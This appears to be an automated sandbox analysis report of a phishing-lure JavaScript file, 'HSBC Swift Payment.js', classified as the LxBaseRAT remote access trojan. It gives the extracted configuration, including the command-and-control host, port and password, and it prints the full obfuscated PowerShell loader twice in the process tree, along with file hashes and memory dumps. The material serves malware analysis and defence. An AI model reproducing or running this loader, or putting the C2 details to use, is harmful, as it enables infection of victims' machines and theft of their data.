Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 04:30

General

  • Target
    HSBC Swift Payment.js
  • Size 77KB
  • Sample260806-e4ybesx1cs
  • SHA256 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lxbaserat

Version
  • 1.0.22

Botnet
  • Group1

Campaign
  • a960186a4f0446948e640c091cf27a4d

C2
  • lxxlxxnew.noip.at:4055

Attributes
  • directory

    WindowsTelemetry\Logs

  • executable

    client.exe

  • password

    JhJvrFokWE5J7XGvy01o

Signatures

  • Family: LxBaseRAT

    LxBaseRAT is a .NET remote access trojan with stealer capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\HSBC Swift Payment.js"
    1⤵
      PID:1324
    • C:\Windows\system32\cmd.exe
      cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
      1⤵
      • Process spawned unexpected child process
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1180
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5352
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC2BE.tmp" "c:\Users\Admin\AppData\Local\Temp\qz1lwckn\CSC802D27ABA9FB421ABCFA9A3CD4E48A.TMP"
            4⤵
              PID:4712
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
            3⤵
              PID:5972

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              RESC2BE.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESC2BE.tmp
              • Size 1KB
              • SHA256 b6c5311d4728ad7316984334d60ea218ffca32d8d14e165a27fdc4badad88eb9
              • MD5 SHA1 SHA512 TLSH

              qz1lwckn.dll

              • Path C:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.dll
              • Size 3KB
              • SHA256 52c8b2478782ff47074c2cdeee66bc55675be06655818191045ac0134189cd52
              • MD5 SHA1 SHA512 TLSH

              CSC802D27ABA9FB421ABCFA9A3CD4E48A.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qz1lwckn\CSC802D27ABA9FB421ABCFA9A3CD4E48A.TMP
              • Size 652B
              • SHA256 055fc3850666a1de4c496ca6de8d734da22273d8ef7794335f0b070dfe91ba5a
              • MD5 SHA1 SHA512 TLSH

              qz1lwckn.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.0.cs
              • Size 213B
              • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
              • MD5 SHA1 SHA512 TLSH

              qz1lwckn.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.cmdline
              • Size 369B
              • SHA256 ff1a85cd92b44a323c22f5e78e327be69e39c3ad4d8c6c60976cd082a5c01b19
              • MD5 SHA1 SHA512 TLSH

              memory/1180-9-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-7-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-0-0x00007FFD153AF000-0x00007FFD153B0000-memory.dmp

              memory/1180-10-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-11-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-12-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-13-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-14-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-15-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-16-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-17-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-8-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-6-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-5-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-4-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-31-0x00000226B0470000-0x00000226B0478000-memory.dmp

              memory/1180-3-0x0000022697ED0000-0x0000022697EF2000-memory.dmp

              memory/1180-39-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-32-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-33-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

              memory/1180-35-0x00000226964E0000-0x00000226964FA000-memory.dmp

              memory/5352-29-0x00000226A3900000-0x00000226A42A4000-memory.dmp

              memory/5972-36-0x0000000000400000-0x000000000047C000-memory.dmp